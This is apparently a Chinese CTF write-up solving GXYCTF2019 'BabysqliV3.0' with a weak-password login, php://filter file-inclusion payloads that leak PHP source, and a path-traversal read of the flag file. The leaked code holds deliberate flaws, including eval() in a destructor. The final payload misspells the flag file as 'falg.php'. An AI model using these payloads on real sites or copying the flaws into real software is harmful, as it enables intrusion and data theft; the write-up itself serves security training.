题目:
- [GXYCTF2019] BabysqliV3.0 1
WP:
打开题目,尝试弱口令登陆：
admin/password
登录成功,发现上传,可以看出来是一个文件上传的题目，点击右键查看源代码，未发现有效信息，在地址栏发现?file=upload,从此处猜测应该是需要构造一个伪协议。从题目上来说，需要查看源码进行代码审计，于是构造一个payload:
?file=php://filter/convert.base64-encode/resource=upload.php
发现.php会被替换成.fxxkyou,并且程序会自动添加PHP,尝试替换为upload
``?file=php://filter/convert.base64-encode/resource=upload`
获取Base64编码解码
Upload.php
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| <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<form action="" method="post" enctype="multipart/form-data">
上传文件
<input type="file" name="file" />
<input type="submit" name="submit" value="上传" />
</form>
<?php
error_reporting(0);
class Uploader{
public $Filename;
public $cmd;
public $token;
function __construct(){
$sandbox = getcwd()."/uploads/".md5($_SESSION['user'])."/";
$ext = ".txt";
@mkdir($sandbox, 0777, true);
if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){
$this->Filename = $_GET['name'];
}
else{
$this->Filename = $sandbox.$_SESSION['user'].$ext;
}
$this->cmd = "echo '<br><br>Master, I want to study rizhan!<br><br>';";
$this->token = $_SESSION['user'];
}
function upload($file){
global $sandbox;
global $ext;
if(preg_match("[^a-z0-9]", $this->Filename)){
$this->cmd = "die('illegal filename!');";
}
else{
if($file['size'] > 1024){
$this->cmd = "die('you are too big (′▽`〃)');";
}
else{
$this->cmd = "move_uploaded_file('".$file['tmp_name']."', '" . $this->Filename . "');";
}
}
}
function __toString(){
global $sandbox;
global $ext;
// return $sandbox.$this->Filename.$ext;
return $this->Filename;
}
function __destruct(){
if($this->token != $_SESSION['user']){
$this->cmd = "die('check token falied!');";
}
eval($this->cmd);
}
}
if(isset($_FILES['file'])) {
$uploader = new Uploader();
$uploader->upload($_FILES["file"]);
if(@file_get_contents($uploader)){
echo "下面是你上传的文件：<br>".$uploader."<br>";
echo file_get_contents($uploader);
}
}
?>
|
home.php
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| <?php
session_start();
echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" /> <title>Home</title>";
error_reporting(0);
if(isset($_SESSION['user'])){
if(isset($_GET['file'])){
if(preg_match("/.?f.?l.?a.?g.?/i", $_GET['file'])){
die("hacker!");
}
else{
if(preg_match("/home$/i", $_GET['file']) or preg_match("/upload$/i", $_GET['file'])){
$file = $_GET['file'].".php";
}
else{
$file = $_GET['file'].".fxxkyou!";
}
echo "当前引用的是 ".$file;
require $file;
}
}
else{
die("no permission!");
}
}
?>
|
审计代码发现:
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| ..........
if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){
$this->Filename = $_GET['name'];
}
..........
if(isset($_FILES['file'])) {
$uploader = new Uploader();
$uploader->upload($_FILES["file"]);
if(@file_get_contents($uploader)){
echo "下面是你上传的文件：<br>".$uploader."<br>";
echo file_get_contents($uploader);
}
}
..........
|
审计源码其中有file_get_contents($uploader)方法，读取文件内容。根据源码分析，网站目录下有一个文件为flag.php,我们可以利用@file_get_contents($uploader)，读取flag文件，而且, 源码中没有对flag进行过滤，因此可以通过将Filename参数改为flag来读取flag信息.
构造Payload:
?file=upload&name=/var/www/html/falg.php
获得Flag
flag{67518dcd-0155-4032-a231-05bb2b52ca5b}